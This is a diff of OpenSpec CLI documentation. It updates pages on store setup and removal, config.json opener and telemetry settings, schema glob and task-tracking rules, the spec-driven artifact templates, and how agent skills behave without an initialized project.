|
||||
In an interactive terminal, setup prompts for a missing name and location and confirms before creating anything. Outside one, a missing name or `--path` exits 1 with the flag to pass. Rerunning setup for a registered store reports `Registry: already registered`.
|
||||
|
||||
Setup exits 1 with `store_setup_inside_git_repo` when `--path` is inside another Git repository, because initializing the store there would nest one repository in another. `--no-init-git` creates no repository, so it skips that check. Use it to keep a store at `~/openspec/<id>` when your home directory is itself a Git repository, such as a dotfiles repo.
|
||||
|
||||
**Arguments**
|
||||
|
||||
| Argument | What it is |
|
||||
@@ -1682,6 +1756,8 @@ Error: Pass --yes to delete store files non-interactively.
|
||||
Fix: openspec store remove design-system --yes
|
||||
```
|
||||
|
||||
Remove exits 1 and deletes nothing when the folder lacks matching store metadata, or when it contains another registered store (for example a store vendored as a Git submodule). In that case the error is `store_remove_contains_registered_store`: run `openspec store unregister <nested-id>` first, or `openspec store unregister <id>` to forget the store without deleting files.
|
||||
|
||||
**Options**
|
||||
|
||||
| Flag | Effect |
|
||||
@@ -2118,6 +2194,8 @@ Supported shells: `zsh`, `bash`, `fish`, `powershell`. Every subcommand takes an
|
||||
| `install [shell]` | Write the script and configure your shell startup file. |
|
||||
| `uninstall [shell]` | Remove the script and the config block. |
|
||||
|
||||
Installed with Nix, completions are already in place: the flake package ships the Bash, Fish, and Zsh scripts at the standard locations, so `install` is not needed ([Installation](../start/installation.md#nix)).
|
||||
|
||||
### openspec completion generate
|
||||
|
||||
Prints the script and writes nothing.
|
||||
|
||||
@@ -20,7 +20,7 @@ Each change keeps its metadata at `openspec/changes/<change-name>/.openspec.yaml
|
||||
|
||||
### schema
|
||||
|
||||
The workflow schema this change follows. It is set when the change is created and wins over the project config, so a change keeps its schema even if `openspec/config.yaml` changes afterwards. Valid names are listed in [Schemas](../schemas/index.md).
|
||||
The workflow schema this change follows. It is set when the change is created and wins over the project config, so a change keeps its schema even if `openspec/config.yaml` changes afterwards. Run [`openspec schemas`](../cli.md#openspec-schemas) to list the available schema names.
|
||||
|
||||
### initiative
|
||||
|
||||
@@ -36,11 +36,11 @@ Keys other than `store` and `id` are rejected. No command reads the link today.
|
||||
|
||||
### skip_specs
|
||||
|
||||
Declares the change intentionally makes no spec deltas: a pure refactor, tooling, or docs change. With it set, validation accepts zero deltas, and artifacts that would generate spec files count as complete. Setting it while spec files exist under specs/ is a validation error. Its effect on deltas and archive is on [spec-driven](../schemas/spec-driven/index.md).
|
||||
Declares the change intentionally makes no spec deltas: a pure refactor, tooling, or docs change. With it set, validation accepts zero deltas, and artifacts that would generate spec files count as complete. Setting it while spec files exist under specs/ is a validation error.
|
||||
|
||||
### retire_capabilities
|
||||
|
||||
Authorizes archive to retire a capability. When this change's REMOVED deltas take away the last requirement a capability has, archive deletes that capability's main spec instead of stopping. The flag exists because the deletion is only recoverable from git, so it stays the author's call. The archive behavior is on [spec-driven](../schemas/spec-driven/index.md).
|
||||
Authorizes archive to retire a capability. When this change's REMOVED deltas take away the last requirement a capability has, archive deletes that capability's main spec instead of stopping. The flag exists because the deletion is only recoverable from git, so it stays the author's call.
|
||||
|
||||
## Example
|
||||
|
||||
|
||||
@@ -15,8 +15,8 @@ The CLI keeps its machine-level settings at `~/.config/openspec/config.json` on
|
||||
| `workflows` | list of strings | No | The workflow list a `custom` profile installs |
|
||||
| `featureFlags` | map: flag → boolean | No | Boolean feature toggles |
|
||||
| `defaultStore` | string | No | Machine-level fallback store for root resolution |
|
||||
| `openers` | list | No | The tools worksets open in, and how each is launched |
|
||||
| `telemetry` | map | No | State the CLI keeps: anonymous id and notice-seen |
|
||||
| `openers` | map: tool id → settings | No | The tools worksets open in, and how each is launched |
|
||||
| `telemetry` | map | No | Telemetry opt-out, anonymous id, and notice-seen state |
|
||||
|
||||
### profile
|
||||
|
||||
@@ -40,11 +40,45 @@ The machine-level fallback store id for root resolution, consulted only when no
|
||||
|
||||
### openers
|
||||
|
||||
The tools a workset can open in, and how each is launched. Entries are hand-edited and validated on use. Each may set `style` (`workspace-file` or `attach-dirs`), `label`, `command`, `args`, and `attach_flag`, and is merged over the built-in defaults.
|
||||
The tools a workset can open in, keyed by tool id. Edit `openers` in the global `config.json` with `openspec config edit` in your terminal.
|
||||
|
||||
| Field | Contract |
|
||||
| --- | --- |
|
||||
| `style` | `workspace-file` or `attach-dirs`. Required for a new tool; optional for a built-in. |
|
||||
| `label` | Non-empty string shown in the tool picker. Defaults to the id for a new tool. |
|
||||
| `command` | Non-empty executable name or path. Defaults to the id for a new tool. Put arguments in `args`, not in this string. |
|
||||
| `args` | Array of strings passed before the workspace file or attach flags. Defaults to `[]` for a new tool. |
|
||||
| `attach_flag` | Non-empty string paired with each member path for `attach-dirs`. Defaults to `--add-dir` for a new tool. Ignored for `workspace-file`. |
|
||||
|
||||
**Built-in overrides:** `code`, `cursor`, `claude`, and `codex` retain any fields you omit. Setting `args` replaces the entire argument list; `[]` clears it.
|
||||
|
||||
**Launch styles:** `workspace-file` passes the generated `.code-workspace` path to the executable. `attach-dirs` passes one flag/path pair per member, including the primary member.
|
||||
|
||||
**Availability:** `attach-dirs` openers, including Claude Code and Codex, are disabled by default. You cannot select or save them with `--tool`, and OpenSpec refuses to open a workset that already names one. Configuration overrides do not enable the `attach-dirs` launch style.
|
||||
|
||||
**Validation:** unknown fields, invalid types, and a new tool without `style` fail when a workset command reads the opener table.
|
||||
|
||||
This example adds VS Code Insiders and passes `--new-window` whenever the built-in VS Code opener launches:
|
||||
|
||||
```json
|
||||
{
|
||||
"openers": {
|
||||
"code-insiders": {
|
||||
"style": "workspace-file",
|
||||
"label": "VS Code Insiders"
|
||||
},
|
||||
"code": {
|
||||
"args": ["--new-window"]
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
The corresponding `code-insiders` or `code` executable must be installed and available on `PATH`.
|
||||
|
||||
### telemetry
|
||||
|
||||
State the CLI writes for telemetry: your anonymous id and whether the first-run notice was shown. It is not the opt-out. Disabling telemetry is an environment variable, on [Environment variables](environment-variables.md).
|
||||
The CLI stores your anonymous id and whether the first-run notice was shown. Set `telemetry.enabled` to `false` to disable telemetry. You can also opt out with `OPENSPEC_TELEMETRY=0` or `DO_NOT_TRACK=1` in your environment.
|
||||
|
||||
## Example
|
||||
|
||||
|
||||
@@ -23,7 +23,7 @@ What to write in these fields is covered in [Project configuration](../../custom
|
||||
|
||||
### schema
|
||||
|
||||
The workflow schema every change in this project follows. Valid values are `spec-driven` or a schema name the project defines. The names are listed in [Schemas](../schemas/index.md).
|
||||
The workflow schema every change in this project follows. Valid values are `spec-driven` or a schema name the project defines. Run [`openspec schemas`](../cli.md#openspec-schemas) to list the available schema names.
|
||||
|
||||
### context
|
||||
|
||||
|
||||
@@ -7,5 +7,5 @@
|
||||
| [Project configuration (config.yaml)](config-yaml.md) | `openspec/config.yaml` | The schema, context, and rules this project plans with |
|
||||
| [Change metadata (.openspec.yaml)](change-metadata.md) | `openspec/changes/<name>/.openspec.yaml` | The workflow schema, goal, scope, and spec exceptions for one change |
|
||||
| [CLI settings (config.json)](config-json.md) | `~/.config/openspec/config.json` (Windows varies) | How the openspec CLI behaves on your machine |
|
||||
| [Environment variables](environment-variables.md) | Your shell or CI environment | Telemetry opt-out, and where the config and data directories live |
|
||||
| Environment variables | Your shell or CI environment | Telemetry opt-out, and where the config and data directories live |
|
||||
| Stores | `~/.local/share/openspec/stores/` (Windows varies) | The registry and metadata behind multi-repo stores |
|
||||
|
||||
@@ -2,26 +2,26 @@
|
||||
|
||||
> Every OpenSpec term, one line each.
|
||||
|
||||
OpenSpec reuses words that mean something else in git, CI, and agent tooling. Each row gives the OpenSpec meaning, and the last column links to the page that teaches the term.
|
||||
OpenSpec reuses words that mean something else in git, CI, and agent tooling. Each row gives the OpenSpec meaning. The last column links to more detail where available.
|
||||
|
||||
| Term | Definition | More |
|
||||
|---|---|---|
|
||||
| **Apply** | Implement the tasks in a change proposal. Skill: `openspec-apply-change`. | [Apply a change](../guides/apply.md) |
|
||||
| **Apply** | Implement the tasks in a change proposal. Skill: `openspec-apply-change`. | [Apply a change](skills.md#openspec-apply-change) |
|
||||
| **Archive** | Complete a change proposal: merge its deltas into the main specs and move its folder to `openspec/changes/archive/`. | [Quickstart](../start/quickstart.md) |
|
||||
| **Artifact** | A planning document inside a change proposal: `proposal.md`, delta specs, `design.md`, `tasks.md`. Not a build output. | [Concepts](../guides/concepts.md) |
|
||||
| **Capability** | One behavior area of your system. Each has one spec at `openspec/specs/<capability>/spec.md`. | [Concepts](../guides/concepts.md) |
|
||||
| **Change proposal** | One unit of work: a folder under `openspec/changes/<name>/` holding its planning artifacts. Often shortened to "change". Not a git commit. | [Concepts](../guides/concepts.md) |
|
||||
| **Artifact** | A planning document inside a change proposal: `proposal.md`, delta specs, `design.md`, `tasks.md`. Not a build output. | [Artifacts](schemas/spec-driven/index.md#artifacts) |
|
||||
| **Capability** | One behavior area of your system. Each has one spec at `openspec/specs/<capability>/spec.md`. | [Capabilities](schemas/spec-driven/index.md#proposalmd) |
|
||||
| **Change proposal** | One unit of work: a folder under `openspec/changes/<name>/` holding its planning artifacts. Often shortened to "change". Not a git commit. | [Propose](../start/quickstart.md#step-2-propose) |
|
||||
| **Command** | A typed entry point for a workflow. Spelling varies per tool (`/opsx:propose`, `/opsx-propose`). The docs name workflows by skill instead. | [Supported tools](supported-tools.md) |
|
||||
| **Continue** | Create the next planning artifact for an existing change proposal. Skill: `openspec-continue-change`. | [Skills](skills.md) |
|
||||
| **Delivery** | How workflows are installed: as skills, commands, or both. | [Set up your project](../start/setup.md) |
|
||||
| **Delta spec** | A spec inside a change proposal listing only what changes, under `ADDED`, `MODIFIED`, `REMOVED`, and `RENAMED` headers. | [Delta specs](schemas/spec-driven/index.md#delta-specs-specmd) |
|
||||
| **Explore** | Think an idea through with the agent before proposing. Writes no code. Skill: `openspec-explore`. | [Explore an idea](../guides/explore.md) |
|
||||
| **Explore** | Think an idea through with the agent before proposing. Writes no code. Skill: `openspec-explore`. | [Explore an idea](skills.md#openspec-explore) |
|
||||
| **Fast-forward** | Create a change proposal with every planning artifact in one pass, ready to implement. Skill: `openspec-ff-change`. Not a git fast-forward. | [Skills](skills.md) |
|
||||
| **Legacy workflow** | The pre-OPSX `/openspec:*` commands. | [Migration](../help/legacy/migration.md) |
|
||||
| **Legacy workflow** | The pre-OPSX `/openspec:*` commands. | |
|
||||
| **Loop** | The cycle a change proposal moves through: explore, propose, review, apply, archive. | [Quickstart](../start/quickstart.md) |
|
||||
| **Main specs** | The `openspec/specs/` tree: the current, agreed behavior of your system. Archiving merges deltas into it. | [Concepts](../guides/concepts.md) |
|
||||
| **Main specs** | The `openspec/specs/` tree: the current, agreed behavior of your system. Archiving merges deltas into it. A capability with no spec yet gets one from its `ADDED` requirements. | [Archive](../start/quickstart.md#step-5-archive) |
|
||||
| **OpenSpec root** | The `openspec/` tree a command resolves to and operates on: your repo's, or a store's. | [Stores](../multi-repo/stores.md#where-artifacts-get-created-when-using-stores) |
|
||||
| **OPSX** | The current OpenSpec workflow system, and the command prefix it installs (`/opsx:`). | [Architecture](architecture/index.md) |
|
||||
| **OPSX** | The current OpenSpec workflow system, and the command prefix it installs (`/opsx:`). | |
|
||||
| **Profile** | Which workflows init installs: `core` or `custom`. | [Profiles](../customize/profiles.md) |
|
||||
| **Propose** | Create a change proposal and generate all its planning artifacts in one step. Skill: `openspec-propose`. | [Quickstart](../start/quickstart.md) |
|
||||
| **Registry** | The machine-level list of registered stores, in `registry.yaml`. Not a package registry. | [CLI](cli.md#openspec-store) |
|
||||
@@ -29,12 +29,12 @@ OpenSpec reuses words that mean something else in git, CI, and agent tooling. Ea
|
||||
| **Scenario** | A testable example under a requirement, in WHEN/THEN form. | [Delta specs](schemas/spec-driven/index.md#delta-specs-specmd) |
|
||||
| **Schema** | The definition of which artifacts a change proposal produces, and in what order. Not JSON Schema. | [Schemas](schemas/index.md) |
|
||||
| **Skill** | A workflow's instructions, installed where your AI tool reads them (`.agents/skills/`, ...). | [Skills](skills.md) |
|
||||
| **Spec** | A file describing how one capability behaves today, at `openspec/specs/<capability>/spec.md`. | [Concepts](../guides/concepts.md) |
|
||||
| **Spec** | A file describing how one capability behaves today, at `openspec/specs/<capability>/spec.md`. | [Archive](../start/quickstart.md#step-5-archive) |
|
||||
| **spec-driven** | The default schema: proposal, then delta specs, then design, then tasks. | [spec-driven](schemas/spec-driven/index.md) |
|
||||
| **Store** | A standalone OpenSpec repo registered on your machine, for planning that spans repositories. Not a data store. | [Stores (beta)](../multi-repo/stores.md) |
|
||||
| **Sync** | Merge implemented deltas into the main specs without archiving. Skill: `openspec-sync-specs`. | [Skills](skills.md) |
|
||||
| **Template** | The starting content a schema gives each artifact. | [Schemas](../customize/schemas.md) |
|
||||
| **Update** | As a skill (`openspec-update-change`): revise a change proposal's planning artifacts. As a CLI command (`openspec update`): refresh OpenSpec's installed files. | [Change course](../guides/change-course.md), [CLI](cli.md) |
|
||||
| **Update** | As a skill (`openspec-update-change`): revise a change proposal's planning artifacts. As a CLI command (`openspec update`): refresh OpenSpec's installed files. | [Update a change](skills.md#openspec-update-change), [CLI](cli.md) |
|
||||
| **Verify** | Check the implementation matches a change proposal's artifacts before archiving. Skill: `openspec-verify-change`. | [Skills](skills.md) |
|
||||
| **Workflow** | A named OpenSpec action (propose, apply, archive, ...), installed into your AI tool as a skill or command. | [Set up your project](../start/setup.md) |
|
||||
| **Workset** | A personal, local group of folders opened together in one tool. Not a store, and nothing is shared. | [Worksets (beta)](../multi-repo/worksets.md) |
|
||||
|
||||
@@ -74,7 +74,15 @@ A glob can match several files:
|
||||
generates: specs/**/*.md
|
||||
```
|
||||
|
||||
This matches Markdown files below `openspec/changes/add-auth/specs/`. OpenSpec treats a value containing `*`, `?`, or `[` as a glob.
|
||||
This matches Markdown files below `openspec/changes/add-auth/specs/`.
|
||||
|
||||
OpenSpec recognizes these glob forms in `generates`:
|
||||
|
||||
- **Wildcards and character classes**: values containing `*`, `?`, or `[`, such as `specs/**/*.md` and `review-[ab].md`.
|
||||
- **Brace expansions**: alternatives such as `review-{api,ui}.md` and ranges such as `file-{1..3}.md`.
|
||||
- **Extglobs**: patterns such as `@(proposal|design).md`, `+(proposal|design).md`, and `!(proposal|design).md`.
|
||||
|
||||
**Literal filenames**: a leading `!` alone does not make a glob. Use `generates: '!review.md'` to name that file. Plain parentheses such as `(proposal|design).md` and single-element braces such as `review-{api}.md` also remain literal.
|
||||
|
||||
OpenSpec rejects absolute paths and paths containing a `..` segment.
|
||||
|
||||
@@ -119,7 +127,7 @@ OpenSpec rejects absolute paths and paths containing a `..` segment.
|
||||
| Field | Contract |
|
||||
|---|---|
|
||||
| `requires` | **Required.** A non-empty list of artifacts that must exist before apply instructions become ready. |
|
||||
| `tracks` | An optional relative path to a Markdown task file in the change folder. Default: `null`. |
|
||||
| `tracks` | An optional relative path or glob for Markdown task files in the change folder. Default: `null`. |
|
||||
| `instruction` | Optional guidance sent to the agent when apply is ready. OpenSpec uses built-in guidance by default. |
|
||||
|
||||
Artifact `requires` controls planning order. `apply.requires` controls when apply instructions become ready.
|
||||
@@ -132,21 +140,28 @@ The path starts from the change folder. For a change named `add-auth`, `tracks:
|
||||
openspec/changes/add-auth/tasks.md
|
||||
```
|
||||
|
||||
Apply stays blocked if that file is missing or contains no checkbox with task text. OpenSpec counts these checkbox forms:
|
||||
A glob such as `tracks: "**/tasks.md"` reads every matching file, such as `backend/tasks.md` and `frontend/tasks.md`. OpenSpec combines their tasks and progress. Use the same value for an artifact's `generates` field so status and list track the same files.
|
||||
|
||||
Apply stays blocked if no file matches or the matched files contain no checkbox with task text. OpenSpec counts these checkbox forms:
|
||||
|
||||
```markdown
|
||||
- [ ] Pending task
|
||||
- [x] Completed task
|
||||
* [X] Completed task
|
||||
+ [ ] Pending task
|
||||
1. [ ] Pending task
|
||||
2) [x] Completed task
|
||||
```
|
||||
|
||||
Leading spaces are allowed. The [tasks.md section of the spec-driven page](spec-driven/index.md#tasksmd) defines the stricter format produced by the default schema.
|
||||
Any Markdown list marker works: `-`, `*`, `+`, or a number of up to nine digits followed by `.` or `)`. Leading spaces are allowed. The [tasks.md section of the spec-driven page](spec-driven/index.md#tasksmd) defines the stricter format produced by the default schema.
|
||||
|
||||
The tracked file drives the apply state:
|
||||
The tracked files drive the apply state:
|
||||
|
||||
- **`blocked`**: the file is missing, or no checkbox has task text.
|
||||
- **`ready`**: at least one tracked task is pending.
|
||||
- **`all_done`**: every tracked task is checked.
|
||||
- **`blocked`**: no file matches, or no readable file has a checkbox with task text.
|
||||
- **`ready`**: at least one task is pending, or a matched file could not be read while another provides tasks.
|
||||
- **`all_done`**: every tracked task is checked and every matched file was read.
|
||||
|
||||
If a matched file cannot be read, apply keeps the tasks and progress from readable files but does not mark the change `all_done`. [Apply JSON output](../cli.md#openspec-instructions) identifies each unavailable file and the reason.
|
||||
|
||||
OpenSpec rejects absolute paths and paths containing a `..` segment.
|
||||
|
||||
@@ -198,12 +213,16 @@ apply:
|
||||
- Field types and required fields
|
||||
- Relative paths
|
||||
- Artifact IDs, dependencies, and cycles
|
||||
- `apply.requires` IDs: each must be an artifact in the schema
|
||||
- Template files
|
||||
|
||||
A schema with an unknown `apply.requires` ID doesn't load, so every command that uses it reports the error.
|
||||
|
||||
Validation warns, without failing, when `apply.tracks` isn't exactly equal to some artifact's `generates` value. OpenSpec finds the tracked artifact by comparing those two strings, so anything else leaves it unable to tell which artifact's progress the file belongs to. That includes a typo like `task.md`, and also `tracks: tasks/main.md` against `generates: tasks/*.md`, where the glob does produce the file but the strings still differ. Apply keeps reading the file either way, but `openspec list` and `openspec status` count `tasks.md` instead.
|
||||
|
||||
Validation doesn't catch these mistakes:
|
||||
|
||||
| Mistake | What happens |
|
||||
|---|---|
|
||||
| A field is misspelled, such as `instrution` | OpenSpec ignores it. Validation doesn't report the typo. |
|
||||
| `apply.requires` names an unknown artifact ID | Validation doesn't report the unknown ID. |
|
||||
| `name` differs from the schema directory | Validation passes. OpenSpec still uses the directory name for lookup. |
|
||||
|
||||
@@ -54,6 +54,8 @@ Establishes why the change is needed.
|
||||
The template the agent receives as the output format ([templates/proposal.md](https://github.com/Fission-AI/OpenSpec/blob/main/schemas/spec-driven/templates/proposal.md)):
|
||||
|
||||
```md
|
||||
# Proposal
|
||||
|
||||
## Why
|
||||
|
||||
<!-- Explain the motivation for this change. What problem does this solve? Why now? -->
|
||||
@@ -101,7 +103,19 @@ Sections:
|
||||
- **Impact**: Affected code, APIs, dependencies, or systems.
|
||||
|
||||
IMPORTANT: The Capabilities section is critical. It creates the contract between
|
||||
proposal and specs phases. Research existing specs before filling this in.
|
||||
proposal and specs phases. Research existing specs before filling this in:
|
||||
run `openspec list --specs` for the project's capability inventory, then
|
||||
`openspec show "<spec-id>" --type spec --json --no-scenarios` for any that
|
||||
look related - that returns a capability's purpose and requirement texts
|
||||
without pulling whole spec files into context. Append `--store "<id>"` to
|
||||
both commands only for a registered standalone store, and keep `--type
|
||||
spec`: a change and a spec sharing a name is otherwise an ambiguous-item
|
||||
error. `openspec list` without `--specs` lists in-flight changes, not
|
||||
specs - it never shows what the project already covers. Reuse an existing
|
||||
capability's exact path instead of introducing a near-duplicate name.
|
||||
The filtered read is only an overview. Before deciding what is already
|
||||
covered or what should change, read each relevant spec in full, including
|
||||
scenarios, with `openspec show "<spec-id>" --type spec` (same `--store` rule).
|
||||
Each capability listed here will need a corresponding spec file.
|
||||
|
||||
Every change must either declare at least one capability (new or
|
||||
@@ -122,11 +136,15 @@ This is the foundation - specs, design, and tasks all build on this.
|
||||
|
||||
Defines what behavior changes, with one delta spec per capability the proposal lists.
|
||||
|
||||
Each delta spec is the `spec.md` inside its capability folder. `openspec validate` and `openspec archive` reject delta sections written in any other file under `specs/`, such as `specs/user-auth.md`, because archive never merges them.
|
||||
|
||||
### Structure
|
||||
|
||||
The template the agent receives as the output format ([templates/spec.md](https://github.com/Fission-AI/OpenSpec/blob/main/schemas/spec-driven/templates/spec.md)):
|
||||
|
||||
```md
|
||||
# Spec Delta
|
||||
|
||||
## Purpose
|
||||
<!-- New capabilities only: one or two sentences (50+ characters) on what this capability is for. Delete this section for an existing capability. -->
|
||||
|
||||
@@ -168,7 +186,7 @@ Create one spec file per capability listed in the proposal's Capabilities sectio
|
||||
`<capability-path>` is the spec directory relative to `specs/` (for example,
|
||||
`user-auth` or `identity/user-auth`). Preserve the full path:
|
||||
- New capabilities: use the exact path from the proposal at `specs/<capability-path>/spec.md`. Any path segment newly introduced in the proposal must be kebab-case. Follow the project's existing organization; do not add a new domain level when the project uses a flat layout.
|
||||
- Modified capabilities: use the exact existing path from `openspec/specs/<capability-path>/` when creating the delta at `specs/<capability-path>/spec.md`. Do not move or rename the capability.
|
||||
- Modified capabilities: use the exact existing path from `openspec/specs/<capability-path>/` when creating the delta at `specs/<capability-path>/spec.md`. Run `openspec list --specs` to confirm that path before writing the delta, appending `--store "<id>"` only for a registered standalone store - a mistyped or invented path targets a capability that does not exist rather than the one you meant. Do not move or rename the capability.
|
||||
|
||||
There must be at least one spec file unless the change's `.openspec.yaml`
|
||||
sets `skip_specs: true` (no spec-level behavior change) - `openspec validate`
|
||||
@@ -188,7 +206,7 @@ Format requirements:
|
||||
- **CRITICAL**: Scenarios MUST use exactly 4 hashtags (`####`). Using 3 hashtags or bullets will fail silently.
|
||||
- Every requirement MUST have at least one scenario.
|
||||
|
||||
New capabilities only: start the delta spec with a `## Purpose` section -
|
||||
New capabilities only: the delta spec's first section is `## Purpose` -
|
||||
one or two sentences (50+ characters, or `openspec validate --strict`
|
||||
reports it as too brief) describing what the capability is for. Archive
|
||||
copies it into the main spec it creates; without it the new main spec is
|
||||
@@ -196,10 +214,16 @@ left with a `TBD ... Update Purpose after archive` placeholder to fill in
|
||||
by hand. Do NOT add `## Purpose` to a delta for an existing capability -
|
||||
that spec already has one and the delta's is ignored. To change an
|
||||
existing capability's Purpose - including a leftover `TBD` placeholder -
|
||||
edit `openspec/specs/<capability-path>/spec.md` directly.
|
||||
edit `<planningHome.root>/openspec/specs/<capability-path>/spec.md`
|
||||
directly. `planningHome.root` comes from the `openspec instructions ...
|
||||
--json` response. Always use it rather than a repo-relative path: it
|
||||
resolves to the store whenever the change lives in one - whether that
|
||||
came from `--store`, a project `store:` pointer, or a global default
|
||||
store - and to the current repository otherwise. Do not try to work out
|
||||
which case applies; the field already has.
|
||||
|
||||
MODIFIED requirements workflow:
|
||||
1. Locate the existing requirement in openspec/specs/<capability-path>/spec.md
|
||||
1. Locate the existing requirement in `<planningHome.root>/openspec/specs/<capability-path>/spec.md` (the same store-aware root as above)
|
||||
2. Copy the ENTIRE requirement block (from `### Requirement:` through all scenarios)
|
||||
3. Paste under `## MODIFIED Requirements` and edit to reflect new behavior
|
||||
4. Ensure header text matches exactly (whitespace-insensitive)
|
||||
@@ -207,8 +231,10 @@ MODIFIED requirements workflow:
|
||||
Common pitfall: Using MODIFIED with partial content loses detail at archive time.
|
||||
If adding new concerns without changing existing behavior, use ADDED instead.
|
||||
|
||||
Example (a new capability, so it opens with `## Purpose`):
|
||||
Example (a new capability, so its first section is `## Purpose`):
|
||||
```
|
||||
# Spec Delta
|
||||
|
||||
## Purpose
|
||||
|
||||
Lets users take their data out of the product in a portable format.
|
||||
@@ -241,6 +267,8 @@ Explains how to implement the change. Drafted only when the change needs one.
|
||||
The template the agent receives as the output format ([templates/design.md](https://github.com/Fission-AI/OpenSpec/blob/main/schemas/spec-driven/templates/design.md)):
|
||||
|
||||
```md
|
||||
# Design
|
||||
|
||||
## Context
|
||||
|
||||
<!-- Current state and constraints that shape the approach. See proposal.md for motivation - don't restate it -->
|
||||
@@ -305,6 +333,8 @@ Breaks the implementation into checkable tasks. [apply](#apply) tracks progress
|
||||
The template the agent receives as the output format ([templates/tasks.md](https://github.com/Fission-AI/OpenSpec/blob/main/schemas/spec-driven/templates/tasks.md)):
|
||||
|
||||
```md
|
||||
# Tasks
|
||||
|
||||
## 1. <!-- Task Group Name -->
|
||||
|
||||
- [ ] 1.1 <!-- Task description -->
|
||||
@@ -328,29 +358,46 @@ would change what gets built, resolve them with the user first - do not
|
||||
bake an unstated assumption into the task list.
|
||||
|
||||
**IMPORTANT: Follow the template below exactly.** The apply phase parses
|
||||
checkbox format to track progress. Tasks not using `- [ ]` won't be tracked.
|
||||
checkbox format to track progress. A box holding only `x` counts as done,
|
||||
upper or lower case and with any spacing, so `- [ x]` is done too. Every
|
||||
other marker, including `- [~]`, `- [-]` and an empty `- []`, reads as
|
||||
unfinished. A line with no checkbox is not tracked at all.
|
||||
|
||||
Guidelines:
|
||||
- Group related tasks under ## numbered headings
|
||||
- Each task MUST be a checkbox: `- [ ] X.Y Task description`
|
||||
- Tasks should be small enough to complete in one session
|
||||
- Order tasks by dependency (what must be done first?)
|
||||
- Each task MUST state how to verify completion (a test, command,
|
||||
observable behavior, or delivered artifact). Put the verification in
|
||||
that task's checkbox description. Use a separate verification task only
|
||||
when it checks broader integration or system behavior that spans
|
||||
multiple implementation tasks.
|
||||
- Each task group MUST land the tests and documentation its own work
|
||||
calls for. Do NOT collect testing or documentation into a final group -
|
||||
when a late group first exercises work from an early one, the failures
|
||||
cascade back through every group in between and force rework. A group
|
||||
whose work calls for neither, such as scaffolding or dependency setup,
|
||||
carries neither. A final group is for integration checks only, not for
|
||||
the tests and docs an earlier group owed.
|
||||
|
||||
Example:
|
||||
```
|
||||
# Tasks
|
||||
|
||||
## 1. Setup
|
||||
|
||||
- [ ] 1.1 Create new module structure
|
||||
- [ ] 1.2 Add dependencies to package.json
|
||||
- [ ] 1.1 Create new module structure and verify expected files are present
|
||||
- [ ] 1.2 Add dependencies to package.json and verify package installation succeeds
|
||||
|
||||
## 2. Core Implementation
|
||||
|
||||
- [ ] 2.1 Implement data export function
|
||||
- [ ] 2.2 Add CSV formatting utilities
|
||||
- [ ] 2.1 Implement data export function and verify the export test passes
|
||||
- [ ] 2.2 Add CSV formatting utilities and verify unit tests cover quoting and delimiters
|
||||
- [ ] 2.3 Document the export API in docs/export.md and verify the documented command runs as written
|
||||
```
|
||||
|
||||
Reference specs for what needs to be built, design for how to build it.
|
||||
Each task should be verifiable - you know when it's done.
|
||||
````
|
||||
|
||||
## Apply
|
||||
|
||||
@@ -39,6 +39,13 @@ The skills come in two sets:
|
||||
- **Core**: installed by default, the main planning loop.
|
||||
- **Optional**: installed only when you add them, via [Profiles](../customize/profiles.md).
|
||||
|
||||
Every skill expects a project that already uses OpenSpec. Before its first step that writes anything, a skill checks for a resolved root. What happens when there is none depends on how the skill was reached:
|
||||
|
||||
- **Auto-selected**: your agent picked the skill on its own, without you naming OpenSpec. It drops OpenSpec and answers your request normally, the way it would with OpenSpec not installed.
|
||||
- **Explicit OpenSpec request**: you named OpenSpec, named the skill, or ran its command. It stops before writing and asks how to proceed: run `openspec init` here, target a store with `--store <id>`, or continue without OpenSpec. It waits for your answer.
|
||||
|
||||
Commands are always the second case. A project whose `openspec/config.yaml` names a store this machine cannot resolve (not registered, or a malformed `store:` line) is not treated as uninitialized: the skill stops and shows the store error with its fix. No skill creates an `openspec/` directory on its own in either case. The entries below describe what each skill does once a root is in place.
|
||||
|
||||
| Skill | Job | Type |
|
||||
|---|---|---|
|
||||
| [openspec-explore](#openspec-explore) | Think through an idea before it becomes a change proposal | Core |
|
||||
@@ -54,6 +61,8 @@ The skills come in two sets:
|
||||
| [openspec-bulk-archive-change](#openspec-bulk-archive-change) | Archive several change proposals at once | Optional |
|
||||
| [openspec-onboard](#openspec-onboard) | Learn the workflow by doing one real change proposal end to end | Optional |
|
||||
|
||||
Each entry below names the skill that owns the next step. When your profile leaves that skill out, the installed files never name it: the handoff becomes the equivalent `openspec` command, or a plain request to you, and a line that exists only to point at a missing skill is not written at all. So the skills you have always hand off to skills you have. Which set you get is [Profiles](../customize/profiles.md).
|
||||
|
||||
## openspec-explore
|
||||
|
||||
Think through an idea before it becomes a change proposal.
|
||||
@@ -82,7 +91,7 @@ Implement a change proposal's tasks, working through the list until done or bloc
|
||||
|---|---|
|
||||
| **Arguments** | A change proposal name (`add-auth`), optional. If the target is ambiguous it lists the active change proposals and asks you to pick. |
|
||||
| **Creates** | Code: the minimal changes each task calls for, in your project files. In the change proposal it touches only the tasks file, checking off each finished task (`- [ ]` to `- [x]`). |
|
||||
| **Response** | Progress per task, then an overall count (N/M tasks complete). All done: suggests `openspec-archive-change`. Blocked by missing artifacts: points to `openspec-continue-change`. Unclear tasks or errors: pauses and asks. |
|
||||
| **Response** | Progress per task, then an overall count (N/M tasks complete). All done: suggests `openspec-archive-change`. Blocked by missing artifacts: points to `openspec-continue-change`, or to `openspec status` and `openspec instructions` when that skill is not installed (the core profile leaves it out). Unclear tasks or errors: pauses and asks. |
|
||||
|
||||
## openspec-update-change
|
||||
|
||||
@@ -92,7 +101,7 @@ other.
|
||||
| Contract | Description |
|
||||
|---|---|
|
||||
| **Arguments** | A change proposal name, optional, plus the revision you want. With no revision stated it runs a coherence review: artifacts checked against each other for contradictions, gaps, and duplication. |
|
||||
| **Creates** | Nothing new. Edits only artifact files that already exist. Missing artifacts are `openspec-continue-change`'s job. Never code. |
|
||||
| **Creates** | Edits artifact files that already exist. One exception: for an artifact written as a glob, such as `specs/**/*.md`, that already has at least one file, it can add a missing companion file once you confirm the path. An artifact with no files yet is `openspec-continue-change`'s job. Without that skill (the core profile leaves it out), it points to `openspec status` and `openspec instructions` instead. Never code. |
|
||||
| **Response** | Shows each proposed revision and writes it only after you confirm, one artifact at a time. Ends with what was revised and the next step; implementation waits for `openspec-apply-change`. |
|
||||
|
||||
## openspec-sync-specs
|
||||
|
||||
